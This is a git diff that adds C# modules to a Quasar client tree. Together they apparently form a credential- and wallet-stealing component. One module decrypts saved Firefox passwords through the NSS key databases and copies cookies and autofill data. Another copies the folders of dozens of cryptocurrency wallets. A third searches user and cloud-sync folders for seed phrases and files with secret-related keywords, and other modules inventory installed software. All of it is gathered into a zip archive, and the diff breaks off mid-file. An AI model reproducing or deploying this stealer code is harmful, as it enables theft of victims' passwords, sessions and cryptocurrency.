b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs new file mode 100755 index 0000000..6f35260 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/Gecko.cs @@ -0,0 +1,191 @@ +using System; +using System.Collections.Concurrent; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Intelix.Helper.Encrypted; +using Intelix.Helper.Sql; + +namespace Intelix.Targets.Browsers; + +public class Gecko : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(Paths.Gecko, delegate(string browser) + { + if (Directory.Exists(browser)) + { + Parallel.ForEach(Directory.GetDirectories(browser), delegate(string profile) + { + ProfileCollect(zip, counter, browser, profile); + }); + } + }); + } + + private void ProfileCollect(InMemoryZip zip, Counter counter, string browser, string profile) + { + _ = browser + "\\Local State"; + string browsername = Paths.GetBrowserName(browser); + string profilename = Path.GetFileName(profile); + Counter.CounterBrowser counterBrowser = new Counter.CounterBrowser(); + counterBrowser.Profile = profile; + counterBrowser.BrowserName = browsername; + Task.WaitAll(Task.Run(delegate + { + Password(zip, counterBrowser, profile, profilename, browsername); + }), Task.Run(delegate + { + Cookies(zip, counterBrowser, profile, profilename, browsername); + }), Task.Run(delegate + { + AutoFill(zip, counterBrowser, profile, profilename, browsername); + })); + if ((long)counterBrowser.Cookies != 0L || (long)counterBrowser.Password != 0L || (long)counterBrowser.CreditCards != 0L || (long)counterBrowser.AutoFill != 0L || (long)counterBrowser.RestoreToken != 0L || (long)counterBrowser.MaskCreditCard != 0L || (long)counterBrowser.MaskedIban != 0L) + { + counter.Browsers.Add(counterBrowser); + } + } + + private void Password(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string path = Path.Combine(profile, "logins.json"); + if (!File.Exists(path)) + { + return; + } + string path2 = Path.Combine(profile, "key4.db"); + string path3 = Path.Combine(profile, "key3.db"); + byte[] masterKey = null; + if (File.Exists(path2)) + { + masterKey = NssDumpMasterKey.Key4Database(path2); + } + else if (File.Exists(path3)) + { + masterKey = NssDumpMasterKey.Key3Database(path3); + } + if (masterKey == null && !NSSDecryptor.Initialize(profile)) + { + return; + } + string text = File.ReadAllText(path); + if (string.IsNullOrEmpty(text)) + { + return; + } + MatchCollection matchCollection = Regex.Matches(text, "\"hostname\":\\s*\"(.*?)\".*?\"encryptedUsername\":\\s*\"(.*?)\".*?\"encryptedPassword\":\\s*\"(.*?)\"", RegexOptions.Singleline); + if (matchCollection.Count == 0) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.ForEach(matchCollection.Cast(), delegate(Match match) + { + string value = match.Groups[1].Value; + string value2 = match.Groups[2].Value; + string value3 = match.Groups[3].Value; + string text2 = ""; + string text3 = ""; + if (masterKey == null) + { + text2 = NSSDecryptor.Decrypt(value2); + text3 = NSSDecryptor.Decrypt(value3); + } + else + { + Asn1Der asn1Der = new Asn1Der(); + byte[] toParse = Convert.FromBase64String(value2); + byte[] toParse2 = Convert.FromBase64String(value3); + Asn1DerObject asn1DerObject = asn1Der.Parse(toParse); + Asn1DerObject asn1DerObject2 = asn1Der.Parse(toParse2); + byte[] data = asn1DerObject.Objects[0].Objects[1].Objects[1].Data; + byte[] data2 = asn1DerObject.Objects[0].Objects[1].Objects[0].Data; + byte[] data3 = asn1DerObject2.Objects[0].Objects[1].Objects[1].Data; + byte[] data4 = asn1DerObject2.Objects[0].Objects[1].Objects[0].Data; + text2 = TripleDes.DecryptStringDesCbc(masterKey, data, data2); + text3 = TripleDes.DecryptStringDesCbc(masterKey, data3, data4); + } + text2 = (string.IsNullOrEmpty(text2) ? "" : Regex.Replace(text2, "[^\\u0020-\\u007F]", "")); + text3 = (string.IsNullOrEmpty(text3) ? "" : Regex.Replace(text3, "[^\\u0020-\\u007F]", "")); + if (!string.IsNullOrEmpty(value) && !string.IsNullOrEmpty(text2) && !string.IsNullOrEmpty(text3)) + { + lines.Add("URL: " + value + "\nUsername: " + text2 + "\nPassword: " + text3 + "\n\n"); + ++counterBrowser.Password; + } + }); + zip.AddTextFile("Browser/Logins/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void Cookies(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "cookies.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_cookies"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 3); + string value2 = sSqLite.GetValue(i, 4); + string value3 = sSqLite.GetValue(i, 2); + string value4 = sSqLite.GetValue(i, 5); + string value5 = sSqLite.GetValue(i, 6); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value3) && !string.IsNullOrEmpty(value4) && !string.IsNullOrEmpty(value5)) + { + string item = value2 + "\tTRUE\t" + value4 + "\tFALSE\t" + value5 + "\t" + value3 + "\t" + value + "\n"; + lines.Add(item); + ++counterBrowser.Cookies; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Cookies/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } + + private void AutoFill(InMemoryZip zip, Counter.CounterBrowser counterBrowser, string profile, string profilename, string browsername) + { + string text = Path.Combine(profile, "formhistory.sqlite"); + if (!File.Exists(text)) + { + return; + } + SqLite sSqLite = SqLite.ReadTable(text, "moz_formhistory"); + if (sSqLite == null) + { + return; + } + ConcurrentBag lines = new ConcurrentBag(); + Parallel.For(0, sSqLite.GetRowCount(), delegate(int i) + { + try + { + string value = sSqLite.GetValue(i, 1); + string value2 = sSqLite.GetValue(i, 2); + if (!string.IsNullOrEmpty(value2) && !string.IsNullOrEmpty(value)) + { + string item = "Name: " + value + "\nValue: " + value2 + "\n\n"; + lines.Add(item); + ++counterBrowser.AutoFill; + } + } + catch + { + } + }); + zip.AddTextFile("Browser/Autofill/" + browsername + "_" + profilename + ".txt", string.Join("", lines.ToList())); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs new file mode 100755 index 0000000..e3e77ff --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Browsers/UserAgentGenerator.cs @@ -0,0 +1,91 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Browsers; + +internal class UserAgentGenerator : ITarget +{ + private class BrowserAgent + { + public string Name { get; set; } + + public string UserAgent { get; set; } + } + + private readonly string[] paths = new string[7] + { + "C:\\Program Files\\Opera\\launcher.exe", + "C:\\Program Files\\Apple\\Safari\\Safari.exe", + "C:\\Program Files\\Mozilla Firefox\\firefox.exe", + "C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe", + "C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe", + "C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", + "C:\\Users\\" + Environment.UserName + "\\AppData\\Local\\Yandex\\YandexBrowser\\Application\\browser.exe" + }; + + private readonly string[] names = new string[7] { "Opera", "Safari", "Firefox", "Chrome", "Edge", "Brave", "Yandex" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + string version = WindowsInfo.GetVersion(); + string architecture = WindowsInfo.GetArchitecture(); + List list = new List(); + for (int i = 0; i < paths.Length; i++) + { + string text = ((names[i] == "Chrome") ? GenerateUserAgentChrome(paths[i], version, architecture) : GenerateUserAgent(paths[i], names[i], version, architecture)); + if (!string.IsNullOrEmpty(text)) + { + list.Add(new BrowserAgent + { + Name = names[i], + UserAgent = text + }); + } + } + if (list.Count != 0) + { + int maxName = Math.Max("Browser".Length, list.Max((BrowserAgent a) => a.Name.Length)); + int maxUA = Math.Max("User-Agent".Length, list.Max((BrowserAgent a) => a.UserAgent.Length)); + List list2 = new List + { + "Browser".PadRight(maxName) + " | " + "User-Agent".PadRight(maxUA), + new string('-', maxName + maxUA + 3) + }; + list2.AddRange(list.Select((BrowserAgent a) => a.Name.PadRight(maxName) + " | " + a.UserAgent.PadRight(maxUA))); + zip.AddTextFile("UserAgents.txt", string.Join(Environment.NewLine, list2)); + } + } + + private string GenerateUserAgent(string browserPath, string name, string osVersion, string architecture) + { + if (File.Exists(browserPath)) + { + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36 " + name + "/" + GetBrowserVersion(browserPath); + } + return string.Empty; + } + + private string GenerateUserAgentChrome(string browserPath, string osVersion, string architecture) + { + if (!File.Exists(browserPath)) + { + return string.Empty; + } + string browserVersion = GetBrowserVersion(browserPath); + return "Mozilla/5.0 (Windows NT " + osVersion + "; " + architecture + ") AppleWebKit/537.36 (KHTML, like Gecko) Chrome/" + browserVersion + " Safari/537.36"; + } + + private string GetBrowserVersion(string browserPath) + { + if (!File.Exists(browserPath)) + { + return "Unknown"; + } + return FileVersionInfo.GetVersionInfo(browserPath).FileVersion; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs new file mode 100755 index 0000000..417b660 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/CryptoDesktop.cs @@ -0,0 +1,240 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Crypto; + +public class CryptoDesktop : ITarget +{ + private static readonly List SWalletsDirectories = new List + { + new string[2] + { + "Zcash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Zcash") + }, + new string[2] + { + "Armory", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Armory") + }, + new string[2] + { + "Bytecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "bytecoin") + }, + new string[2] + { + "Jaxx", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.liberty.jaxx", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Exodus", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Exodus", "exodus.wallet") + }, + new string[2] + { + "Ethereum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ethereum", "keystore") + }, + new string[2] + { + "Electrum", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum", "wallets") + }, + new string[2] + { + "AtomicWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Atomic", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Atomic", "Local Storage", "leveldb") + }, + new string[2] + { + "Guarda", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Guarda", "Local Storage", "leveldb") + }, + new string[2] + { + "Coinomi", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Coinomi", "Coinomi", "wallets") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "com.tari.universe", "app_configs", "mainnet") + }, + new string[2] + { + "Tari", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "com.tari.universe", "wallet", "mainnet", "data", "wallet") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Bitcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Bitcoin", "wallets") + }, + new string[2] + { + "Dash", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "DashCore", "wallets") + }, + new string[2] + { + "Litecoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Litecoin", "wallets") + }, + new string[2] + { + "MyMonero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyMonero") + }, + new string[2] + { + "Monero", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Monero") + }, + new string[2] + { + "Vertcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Vertcoin") + }, + new string[2] + { + "Groestlcoin", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Groestlcoin") + }, + new string[2] + { + "Komodo", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Komodo") + }, + new string[2] + { + "PIVX", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "PIVX") + }, + new string[2] + { + "BitcoinGold", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "BitcoinGold") + }, + new string[2] + { + "Electrum-LTC", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Electrum-LTC") + }, + new string[2] + { + "Binance", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Binance") + }, + new string[2] + { + "Phantom", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Phantom", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "Coin98", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Coin98", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "MathWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MathWallet", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "LedgerLive", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "Ledger Live") + }, + new string[2] + { + "TrezorSuite", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrezorSuite") + }, + new string[2] + { + "MyEtherWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyEtherWallet") + }, + new string[2] + { + "MyCrypto", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MyCrypto") + }, + new string[2] + { + "MetaMask", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "MetaMask", "IndexedDB", "file__0.indexeddb.leveldb") + }, + new string[2] + { + "TrustWallet", + Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData), "TrustWallet", "IndexedDB", "file__0.indexeddb.leveldb") + } + }; + + private static readonly string[] SWalletsRegistry = new string[3] { "Litecoin", "Dash", "Bitcoin" }; + + public void Collect(InMemoryZip zip, Counter counter) + { + try + { + Parallel.ForEach(SWalletsDirectories, delegate(string[] sw) + { + CopyWalletFromDirectoryTo(sw[1], sw[0], zip, counter); + }); + Parallel.ForEach(SWalletsRegistry, delegate(string sWalletRegistry) + { + CopyWalletFromRegistryTo(sWalletRegistry, zip, counter); + }); + } + catch + { + } + } + + private void CopyWalletFromDirectoryTo(string sWalletDir, string sWalletName, InMemoryZip zip, Counter counter) + { + if (Directory.Exists(sWalletDir)) + { + zip.AddDirectoryFiles(sWalletDir, "Wallet/" + sWalletName); + counter.CryptoDesktop.Add(sWalletDir + " => Wallet/" + sWalletName); + } + } + + private void CopyWalletFromRegistryTo(string sWalletRegistry, InMemoryZip zip, Counter counter) + { + try + { + string name = "Software\\" + sWalletRegistry + "\\" + sWalletRegistry + "-Qt"; + string text = Registry.CurrentUser.OpenSubKey(name)?.GetValue("strDataDir")?.ToString(); + if (text != null) + { + string text2 = Path.Combine(text, "wallets"); + if (Directory.Exists(text2)) + { + zip.AddDirectoryFiles(text2, "Wallet/" + sWalletRegistry); + counter.CryptoDesktop.Add(text2 + " => Wallet/" + sWalletRegistry); + } + } + } + catch + { + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs new file mode 100755 index 0000000..534fa80 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Crypto/Grabber.cs @@ -0,0 +1,187 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using System.Threading; +using System.Threading.Tasks; +using Intelix.Helper; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Crypto; + +public class Grabber : ITarget +{ + private readonly long _sizeMinFile = 120L; + + private readonly long _sizeLimitFile = 6144L; + + private readonly long _sizeLimit = 5242880L; + + private long _size; + + private readonly Regex _seedRegex = new Regex("^(?:\\s*\\b[a-z]{3,}\\b){12,24}\\s*$", RegexOptions.IgnoreCase | RegexOptions.Multiline | RegexOptions.Compiled); + + private readonly string[] _blacklist = new string[10] { "license", "readme", "changelog", "about", "terms", "eula", "notice", "example", "sample", "test" }; + + private readonly string[] _keywords = new string[35] + { + "password", "passwd", "pwd", "pass", "login", "user", "username", "account", "mail", "email", + "secret", "key", "private", "public", "wallet", "mnemonic", "seed", "recovery", "phrase", "backup", + "pin", "auth", "2fa", "token", "apikey", "api_key", "ssh", "cert", "certificate", "crypto", + "btc", "eth", "usdt", "ltc", "xmr" + }; + + private readonly string[] _seedExtensions = new string[9] { ".seed", ".seedphrase", ".mnemonic", ".phrase", ".key", ".secret", ".txt", ".backup", ".wallet" }; + + private readonly string[] _seedPaths = new string[19] + { + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.Desktop), + Environment.GetFolderPath(Environment.SpecialFolder.Personal), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDocuments), + Environment.GetFolderPath(Environment.SpecialFolder.CommonDesktopDirectory), + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Downloads", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\OneDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Dropbox", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\iCloudDrive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Google Drive", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\YandexDisk", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Mega", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Evernote", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Standard Notes", + Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + "\\Joplin", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Wallets", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Keys", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Crypto", + Environment.GetFolderPath(Environment.SpecialFolder.UserProfile) + "\\Backup" + }; + + private long Size + { + get + { + return Interlocked.Read(ref _size); + } + set + { + Interlocked.Exchange(ref _size, value); + } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + Parallel.ForEach(_seedPaths, delegate(string directory) + { + SearchFiles(zip, counter, directory); + }); + } + + private void SearchFiles(InMemoryZip zip, Counter counter, string directory) + { + if (Size > _sizeLimit) + { + return; + } + try + { + Parallel.ForEach(Directory.GetDirectories(directory), delegate(string subDir) + { + if (Size <= _sizeLimit) + { + SearchFiles(zip, counter, subDir); + } + }); + } + catch + { + } + try + { + Parallel.ForEach(Directory.GetFiles(directory), delegate(string file) + { + if (Size <= _sizeLimit) + { + FileInfo fileInfo = new FileInfo(file); + if (_seedExtensions.Contains(fileInfo.Extension, StringComparer.OrdinalIgnoreCase) && fileInfo.Length < _sizeLimitFile && fileInfo.Length > _sizeMinFile) + { + string text = File.ReadAllText(fileInfo.FullName); + if (ContainsKeyword(fileInfo.Name) || ContainsKeyword(text) || ContainsSeedPhrase(text)) + { + Size += fileInfo.Length; + string fileName = fileInfo.Name + RandomStrings.GenerateHashTag() + fileInfo.Extension; + string relativePath = GetRelativePath(fileInfo.FullName); + string text2 = Path.Combine("FileGrabber", relativePath, fileName).Replace('\\', '/'); + zip.AddTextFile(text2, text); + counter.FilesGrabber.Add(file + " => " + text2); + } + } + } + }); + } + catch + { + } + } + + private bool ContainsSeedPhrase(string content) + { + return _seedRegex.IsMatch(content); + } + + private string GetRelativePath(string fullPath) + { + try + { + string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); + string documents = Environment.GetFolderPath(Environment.SpecialFolder.Personal); + + if (fullPath.StartsWith(desktop, StringComparison.OrdinalIgnoreCase)) + { + return "desktop"; + } + if (fullPath.StartsWith(documents, StringComparison.OrdinalIgnoreCase)) + { + return "Documents"; + } + return "other"; + } + catch + { + return "other"; + } + } + + private bool ContainsKeyword(string content) + { + if (string.IsNullOrEmpty(content)) + { + return false; + } + string[] source = content.Split(new char[14] + { + ' ', '\t', '\r', '\n', ',', '.', ';', ':', '-', '_', + '/', '\\', '"', '\'' + }, StringSplitOptions.RemoveEmptyEntries); + HashSet whitelist = new HashSet(_keywords, StringComparer.OrdinalIgnoreCase); + HashSet blacklist = new HashSet(_blacklist, StringComparer.OrdinalIgnoreCase); + int result = 0; + Parallel.ForEach(source, delegate(string word, ParallelLoopState state) + { + if (Volatile.Read(ref result) == -1) + { + state.Stop(); + } + else if (blacklist.Contains(word)) + { + Interlocked.Exchange(ref result, -1); + state.Stop(); + } + else if (whitelist.Contains(word)) + { + Interlocked.CompareExchange(ref result, 1, 0); + } + }); + return result == 1; + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs new file mode 100755 index 0000000..65d3f35 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/GameList.cs @@ -0,0 +1,22 @@ +using System.Collections.Generic; +using System.IO; +using System.Linq; +using Intelix.Helper.Data; + +namespace Intelix.Targets.Device; + +public class GameList : ITarget +{ + public void Collect(InMemoryZip zip, Counter counter) + { + string path = "C:\\Games"; + if (Directory.Exists(path)) + { + List list = Directory.GetDirectories(path).Select(Path.GetFileName).ToList(); + if (list.Any()) + { + zip.AddTextFile("Games.txt", string.Join("\n", list)); + } + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs new file mode 100755 index 0000000..17badf8 --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledBrowsers.cs @@ -0,0 +1,160 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using System.Text.RegularExpressions; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledBrowsers : ITarget +{ + private class Browser + { + public string Name { get; set; } + + public string Path { get; set; } + + public string Version { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = (from g in GetBrowsers().GroupBy((Browser b) => b.Name, StringComparer.OrdinalIgnoreCase) + select g.First()).ToList(); + int maxName = Math.Max("Name".Length, list.Max((Browser b) => b.Name.Length)); + int maxVersion = Math.Max("Version".Length, list.Max((Browser b) => b.Version.Length)); + int length = "In Use".Length; + List list2 = new List + { + "Name".PadRight(maxName) + " | " + "Version".PadRight(maxVersion), + new string('-', maxName + maxVersion + length + 6) + }; + list2.AddRange(list.Select(delegate(Browser b) + { + SafeGetExeName(b.Path); + return b.Name.PadRight(maxName) + " | " + b.Version.PadRight(maxVersion); + })); + if (list.Count > 0) + { + zip.AddTextFile("InstalledBrowsers.txt", string.Join("\n", list2)); + } + } + + private static IEnumerable GetBrowsers() + { + string[] obj = new string[2] { "SOFTWARE\\WOW6432Node\\Clients\\StartMenuInternet", "SOFTWARE\\Clients\\StartMenuInternet" }; + List list = new List(); + string[] array = obj; + foreach (string keyPath in array) + { + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.LocalMachine)); + list.AddRange(GetBrowsersFromRegistry(keyPath, Registry.CurrentUser)); + } + Browser edgeLegacyVersion = GetEdgeLegacyVersion(); + if (edgeLegacyVersion != null) + { + list.Add(edgeLegacyVersion); + } + return list; + } + + private static IEnumerable GetBrowsersFromRegistry(string keyPath, RegistryKey root) + { + using RegistryKey key = root.OpenSubKey(keyPath); + if (key == null) + { + yield break; + } + string[] subKeyNames = key.GetSubKeyNames(); + foreach (string name in subKeyNames) + { + using RegistryKey subkey = key.OpenSubKey(name); + if (!(subkey?.GetValue(null) is string name2)) + { + continue; + } + string text = StripQuotesFromCommand(subkey.OpenSubKey("shell\\open\\command")?.GetValue(null)?.ToString()); + string version = "unknown"; + if (!string.IsNullOrEmpty(text) && File.Exists(text)) + { + try + { + version = FileVersionInfo.GetVersionInfo(text).FileVersion; + } + catch + { + } + } + yield return new Browser + { + Name = name2, + Path = text, + Version = version + }; + } + } + + private static Browser GetEdgeLegacyVersion() + { + using (RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Classes\\Local Settings\\Software\\Microsoft\\Windows\\CurrentVersion\\AppModel\\SystemAppData\\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\\Schemas")) + { + if (registryKey?.GetValue("PackageFullName") is string input) + { + Match match = Regex.Match(input, "\\d+(\\.\\d+)+"); + if (match.Success) + { + return new Browser + { + Name = "Microsoft Edge (Legacy)", + Path = null, + Version = match.Value + }; + } + } + } + return null; + } + + private static string StripQuotesFromCommand(string command) + { + if (string.IsNullOrWhiteSpace(command)) + { + return null; + } + command = command.Trim(); + if (command.StartsWith("\"")) + { + int num = command.IndexOf('"', 1); + if (num > 1) + { + return command.Substring(1, num - 1); + } + return null; + } + int num2 = command.IndexOf(' '); + if (num2 <= 0) + { + return command; + } + return command.Substring(0, num2); + } + + private static string SafeGetExeName(string path) + { + try + { + if (string.IsNullOrWhiteSpace(path)) + { + return null; + } + return Path.GetFileName(path)?.ToUpperInvariant(); + } + catch + { + return null; + } + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs new file mode 100755 index 0000000..a5f8f4b --- /dev/null +++ b/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/InstalledPrograms.cs @@ -0,0 +1,77 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; +using Intelix.Helper.Data; +using Microsoft.Win32; + +namespace Intelix.Targets.Device; + +public class InstalledPrograms : ITarget +{ + private class InstalledProgram + { + public string Name { get; set; } + + public string Version { get; set; } + + public string InstallLocation { get; set; } + } + + public void Collect(InMemoryZip zip, Counter counter) + { + List list = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", "SOFTWARE\\Wow6432Node\\Microsoft\\Windows\\CurrentVersion\\Uninstall" }.SelectMany((string key) => GetInstalledPrograms(key, Registry.LocalMachine, counter).Concat(GetInstalledPrograms(key, Registry.CurrentUser, counter))).ToList(); + if (list.Count != 0) + { + int maxName = Math.Max("Name".Length, list.Max((InstalledProgram p) => p.Name?.Length ?? 0)); + int maxVersion = Math.Max("Version".Length, list.Max((InstalledProgram p) => p.Version?.Length ?? 0)); + int maxPath = Math.Max("Path".Length, list.Max((InstalledProgram p) => p.InstallLocation?.Length ?? 0)); + List list2 = new List(); + list2.Add("Name".PadRight(maxName) + " | " + "Path".PadRight(maxPath) + " | " + "Version".PadRight(maxVersion)); + list2.Add(new string('-', maxName + maxPath + maxVersion + 6)); + List list3 = list2; + list3.AddRange(list.Select((InstalledProgram p) => (p.Name ?? "Unknown").PadRight(maxName) + " | " + (p.InstallLocation ?? "Unknown").PadRight(maxPath) + " | " + (p.Version ?? "Unknown").PadRight(maxVersion))); + zip.AddTextFile("InstalledSoftware.txt", string.Join("\n", list3)); + } + } + + private static List GetInstalledPrograms(string uninstallKey, RegistryKey root, Counter counter) + { + ConcurrentBag installedPrograms = new ConcurrentBag(); + using (RegistryKey registryKey = root.OpenSubKey(uninstallKey)) + { + if (registryKey == null) + { + return new List(); + } + string[] subKeyNames = registryKey.GetSubKeyNames(); + if (subKeyNames == null || subKeyNames.Length == 0) + { + return new List(); + } + Parallel.ForEach(subKeyNames, delegate(string subkeyName) + { + try + { + using RegistryKey registryKey2 = root.OpenSubKey(uninstallKey + "\\" + subkeyName); + string text = registryKey2?.GetValue("DisplayName") as string; + if (!string.IsNullOrEmpty(text)) + { + InstalledProgram item = new InstalledProgram + { + Name = text.Trim(), + Version = ((registryKey2.GetValue("DisplayVersion") as string) ?? "Unknown"), + InstallLocation = ((registryKey2.GetValue("InstallLocation") as string) ?? "Unknown") + }; + installedPrograms.Add(item); + } + } + catch + { + } + }); + } + return installedPrograms.ToList(); + } +} diff --git a/Quasar-1.4.1/Quasar.Client/Intelix/Intelix.Targets.Device/ProcessDump.cs 